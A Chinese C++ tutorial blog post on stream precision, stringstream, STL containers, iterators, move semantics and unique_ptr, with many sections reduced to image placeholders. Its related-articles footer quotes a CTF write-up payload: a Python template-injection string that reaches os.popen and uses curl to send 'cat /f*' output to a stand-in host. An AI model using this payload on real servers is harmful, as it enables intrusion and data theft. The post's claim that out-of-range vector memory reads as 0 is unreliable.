C++之提高篇

1.标准输入输出流

cin与cout的使用,就不多说了,说一个有关保留小数位数的操作,使用ostream对象的precision()方法,表达的意思是数字总共有几位,注意,此时是包括整数部分的;set()方法表示换成保留小数点后位数。例如

#include<bits/stdc++.h>
using namespace std;int main()
{// 请在此输入您的代码cout.precision(2);cout.setf(ios::fixed);cout<<3.1415926<<endl;cout.unsetf(ios::fixed);cout<<3.1415926<<endl;return 0;
}

先是整体位数,在变成小数点位数,再变回来,注意代码实现。
在这里插入图片描述

#include<bits/stdc++.h>
using namespace std;int main()
{// 请在此输入您的代码cout<<setprecision(4)<<fixed;cout<<3.1415926<<endl;cout<<defaultfloat;cout<<3.1415926<<endl;cout<<setprecision(6);cout<<3.1415926<<endl;return 0;
}

在这里插入图片描述
这是另一种写法,不过需要头文件,代码中我是使用了万能头文件;
下面是有关数据读入的方法:
在这里插入图片描述

  string s;getline(cin,s);cout<<s<<endl;cout<<s.length()<<endl;

字符串流
类型转换,将"123456"转换成123456

#include<bits/stdc++.h>
using namespace std;int main()
{string s("123456");stringstream ss;ss<<s;int i;ss>>i;cout<<i<<endl;return 0;
}

2.容器

在这里插入图片描述
在这里插入图片描述

2.1 栈

在这里插入图片描述

2.2 队列

在这里插入图片描述

2.3 链表

在这里插入图片描述

2.4双端队列

在这里插入图片描述

2.5 vector向量,数组

在这里插入图片描述

2.6 map

表,存放一个键key到值value的映射
在这里插入图片描述

2.7优先队列

在这里插入图片描述

3 函数(算法)

3.1 排序

sort()是优化后的快排

在这里插入图片描述

3.2二分

在这里插入图片描述

3.3 二分答案

在这里插入图片描述

3.4 填充

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
全排列
在这里插入图片描述

4 迭代器 iterator

有趣的操作,就是对容易进行遍历,不过是利用指针操作的;使用begin返回容器第一个元素的位置,然后不断++;直到end;end是最后一个元素的下一个位置;

#include<iostream>
#include<vector>
using namespace std;
int main(){vector<int> intVect;for(int i=0;i<10;i++){intVect.push_back(i);}cout<<"vec: "<<endl;// for(int i=0;i<10;i++){//     cout<<&intVect[i]<<" ";// }// cout<<endl;// cout<<&intVect.end()<<endl;vector<int>:: iterator it = intVect.begin();  //定义一个迭代器/*begin,end是迭代器的专属函数;begin表示获取指向第一个元素位置的迭代器。end表示指向最后一个元素之后的下一个位置的迭代器!!!注意,不是最后一个元素;因此我尝试相反迭代,也就是从end往start;第一个打印的元素都是0,就是数组范围外的元素,默认为0;而返回不到第一个元素,因为到第一个元素就停止了。因此正向的迭代终止位置是,最后一个位置的下一个内存,而不是最后一个内存*/while(it!=intVect.end()){ //直到遍历到vector最后一位之后cout<<*it<<endl;  //打印迭代器内容it++; //迭代器不断向后更新}// for(std::iterator it2 = intVect.begin(); it2!=intVect.end();it2++){// }return 0;
}

简单的迭代器就是这样,实际就是指针的操作,因此可以利用迭代器进行容器赋值,容器读取。可以向前遍历,向后遍历,同样可以随机访问:*(it+2)。跟指针一样。

5右值引用与移动语义

左值表征一个对象,一定占据内存
即使编译器做优化使其实际不占内存
lvalue-》可以被取地址;除非使用const修饰的-》有名字的表达式都是左值,除了枚举
因此将左值放在等式右边,将会报错
rvalue并不表征一个对象,非左值的表达式是右值。-》右值要在等号右边,给左值做处理;
纯右值-》如果一个函数返回一个结构体,需要访问该返回值的某个内部成员变量。此时,该结构体是右值,但,该返回结构体必须占内存,却又满足左值特征,临时占一片地址。上面说的传统右值是临时的,并不会占内存,因此纯右值是一种特殊的右值
根据这种特性,将右值又分为了纯右值prvalue和将亡值xvalue;
在这里插入图片描述

在这里插入图片描述
右值引用只能被右值表达式初始化。
复制就是复制一份新的数据,但是移动就是将原对象指向资源的指针,赋给新的对象成员,也就是将所有权进行转移,也就是数据的指针指向新对象。

6 智能指针

C++指针得设计存在一系列的使用不方便,比如,对于一个指针,要在合适得地方进行delete;指针的指向变换,容易造成对于同一片区域得多次delete;当指针作为函数参数时,很难确定他是作为数组得首地址,还是单变量得指针,那释放地址得操作更不能确定了,因此C++提供一种智能指针,自动释放内存,且只有一个指针指向该内存,也就是唯一性

#include<iostream>
#include<memory>class Cat{
public:Cat(){ this->name = "default";    std::cout<<" con! "<<std::endl;};Cat(std::string name){this->name=name;  std::cout<<" con! "<<std::endl;};void show(){ std::cout<<this->name<<std::endl;};void set_name(std::string name){this->name = name;};~Cat(){std::cout<<" decon!"<<std::endl;};
private:std::string name;
};int main(){Cat* demo1 = new Cat("oo");//std::unique_ptr<Cat> un_demo1{demo1}; //第一种智能指针创建方式,根据以后裸指针创建//std::unique_ptr<Cat> un_demo1{new Cat("lk")}; //第二种智能指针创建方式,new一个对象赋值给智能指针std::unique_ptr<Cat> un_demo1 = std::make_unique<Cat>(); //第三种智能指针创建方式,利用mask_uniquedemo1 = NULL;un_demo1->show();un_demo1->set_name("new");un_demo1->show();//delete demo1;return 0;
}

首先确定,unique_ptr只能指向一个地址,因此,只能移动所有权,不能复制,将一个指针赋值给另一个智能指针,需要使用move,将地址的所有权转移,move本身是上一节移动语义说到的操作,将左值变成右值.

在这里插入图片描述

lambda表达式

在这里插入图片描述

线程库

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/32196.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

OpenAI策略:指令层级系统让大模型免于恶意攻击

现代的大模型&#xff08;LLMs&#xff09;不再仅仅是简单的自动完成系统&#xff0c;它们有潜力赋能各种代理应用&#xff0c;如网页代理、电子邮件秘书、虚拟助手等。然而&#xff0c;这些应用广泛部署的一个主要风险是敌手可能诱使模型执行不安全或灾难性的行动&#xff0c;…

使用 Python 进行测试(7)...until you make it

总结 我很懒&#xff0c;我想用最少的行动实现目标&#xff0c;例如生成测试数据。我们可以&#xff1a; 使用随机种子保证数据的一致性。 >>> random.seed(769876987698698) >>> [random.randint(0, 10) for _ in range(10)] [10, 9, 1, 9, 10, 6, 5, 10…

计算机组成原理 | 硬件电路整理

计算机组成原理 | 硬件电路整理 桶形移位器原理图 全加器逻辑框图 多位可控加减法电路逻辑框图 可级联的4位先行进位电路 4位快速加法器 16位组内并行、组间并行加法器 实现原码一位乘法的逻辑框图 补码一位乘法的逻辑框图 无符号数阵列乘法器 原码不恢复余数法硬件逻辑框图 基…

规模弹性: 管理谷歌的TPUv4机器学习超级计算机(二)

本文为翻译文章&#xff0c;原文为&#xff1a; Resiliency at Scale: Managing Google’sTPUv4 Machine Learning Supercomputer。 由于字数过长&#xff0c;文章分为两期发布&#xff0c;本片涵盖原文后半部分4&#xff5e;9节&#xff0c;前三章节请参考文章&#xff1a;规…

Springboot应用的信创适配-补充

Springboot应用的信创适配-CSDN博客 因为篇幅限制&#xff0c;这里补全Spring信创适配、数据库信创适配、Redis信创适配、消息队列信创适配等四个章节。 Springboot应用的信创适配 Springboot应用的信创适配&#xff0c;如上图所示需要适配的很多&#xff0c;从硬件、操作系统、…

基于AT89C52单片机的温度报警系统

点击链接获取Keil源码与Project Backups仿真图: https://download.csdn.net/download/qq_64505944/89456321?spm=1001.2014.3001.5503 仿真构造:AT89C52+DS18B20温度模块+三按键+蜂鸣器+四位数码管显示+电源模块。 压缩包构造:源码+仿真图+设计文档+原理图+开题文档+元件…

Java宝藏实验资源库(3)类

一、实验目的 理解面向对象程序的基本概念。掌握类的继承的实现机制。熟悉类中成员的访问控制方法。熟悉ArrayList类的使用。 二、实验内容、过程及结果 *9.5Programming Exerc ise the GregorianCal endar class) Java API has the GregorianCalendar class in the java. uti…

民生银行北京分行金融科技校招面试记录

本文介绍2024届春招中&#xff0c;中国民生银行下属北京分行的金融科技岗位1场面试的基本情况、提问问题等。 2024年04月投递了中国民生银行下属北京分行的金融科技岗位&#xff0c;暂时不清楚所在部门。目前完成了一面与终面&#xff0c;在这里记录一下面试的相关经历。 首先&…

LayoutSystem布局系统

简介: LayoutSystem,是UGUI中由CanvasUpdateSystem发起(m_LayoutRebuildQueue中大部分都是LayoutRebuilder)的关于布局排列的处理系统。 类图: 布局过程 核心代码讲解: LayoutRebuilder

前端编程语言——JS语言结构、函数、数组、字符串、日期、对象、定时器(2)

0、前言&#xff1a; 这篇文章记录的是我自己的学习笔记。在python中通过input来获取输入&#xff0c;在JS中用prompt()&#xff0c;来获取输入。写JS代码要记得每个代码结束要加上分号。 1、JS编程语言结构&#xff1a; 顺序结构&#xff1a;从上往下依次执行分支结构&#…

【数据结构】顺序表实操——通讯录项目

Hi~&#xff01;这里是奋斗的小羊&#xff0c;很荣幸您能阅读我的文章&#xff0c;诚请评论指点&#xff0c;欢迎欢迎 ~~ &#x1f4a5;&#x1f4a5;个人主页&#xff1a;奋斗的小羊 &#x1f4a5;&#x1f4a5;所属专栏&#xff1a;C语言 &#x1f680;本系列文章为个人学习…

三电平光伏逆变器高效DPWM研究

1. 引言 本文从效率 提升角度出发 , 详细分析了逆变器不同调制策略下开关 器件及滤波器损耗分布情况 , 并在 50kW 组串式三电平光伏逆变器上对比分析采用 SVPWM 和 DPWM 两种 调制方法对逆变器效率和谐波的影响 , 最终验证了采用 DPWM 调制策略的优越性。 2 SVPWM 和 DPWM 对比…

OpenCV 特征点检测与匹配

一 OpenCV特征场景 ①图像搜索&#xff0c;如以图搜图&#xff1b; ②拼图游戏&#xff1b; ③图像拼接&#xff0c;将两长有关联得图拼接到一起&#xff1b; 1 拼图方法 寻找特征 特征是唯一的 可追踪的 能比较的 二 角点 在特征中最重要的是角点 灰度剃度的最大值对应的…

ctfshow web 其他 web432--web449

web432 过滤了os|open|system|read|eval ?codestr(.__class__.__bases__[0].__subclasses__[185].__init__.__globals__[__builtins__][__import__](os).__dict__[popen](curl http://ip:port?1cat /f*)) ?codestr(.__class__.__bases__[0].__subclasses__()[185].__init_…

OpenCV Mat实现图像四则运算及常用四则运算的API函数

装载有图像数据的OpenCV Mat对象&#xff0c;可以说是一个图像矩阵&#xff0c;可以进行加、减、乘、除运算。特别是加运算特别有用。 一 与常数的四则运算 与常数的加运算 示例&#xff1a; #include <iostream> #include <opencv2/opencv.hpp>using namespace …

10.华为路由器使用ospf动态路由连通两个部门网络

目的&#xff1a;实验ospf动态路由协议连通A与B部门 AR1配置 [Huawei]int g0/0/0 [Huawei-GigabitEthernet0/0/0]ip add 1.1.1.1 24 [Huawei]vlan batch 10 [Huawei]int Vlanif 10 [Huawei]int e0/0/0 [Huawei-Ethernet0/0/0]port link-type access [Huawei-Ethernet0/0/0]por…

SpringCloud中Eureka和Nacos的区别和各自的优点

Eureka注册中心 Eureka作为一个注册中心&#xff0c;服务提供者把服务注册到注册中心&#xff0c;服务消费者去注册中心拉取信息&#xff0c; 然后通过负载均衡得到对应的服务器去访问。 服务提供者每隔30s向注册中心发送请求&#xff0c;报告自己的状态&#xff0c;当超过一定…

对比学习

对比学习基本概念 对比学习通过对比数据对的“相似”或“不同”以获取数据的高阶信息。 由同一张原始图片扩增而来的两张新的图片&#xff0c;叫做Positive Pairs。将这两张图片送入深度学习模型中&#xff0c;我们希望深度学习模型学习到这两个图像是相似的。 由不同原始图…

Flutter-实现头像叠加动画效果

实现头像叠加动画效果 在这篇文章中&#xff0c;我们将介绍如何使用 Flutter 实现一个带有透明度渐变效果和过渡动画的头像叠加列表。通过这种效果&#xff0c;可以在图片切换时实现平滑的动画&#xff0c;使 UI 更加生动和吸引人。 需求 我们的目标是实现一个头像叠加列表&…

【完全复现】基于改进粒子群算法的微电网多目标优化调度(含matlab代码)

目录 主要内容 部分代码 结果一览 下载链接 主要内容 程序完全复现文献模型《基于改进粒子群算法的微电网多目标优化调度》&#xff0c;以微电网系统运行成本和环境保护成本为目标函数&#xff0c;建立了并网方式下的微网多目标优化调度模型&#xff0c;通过改进…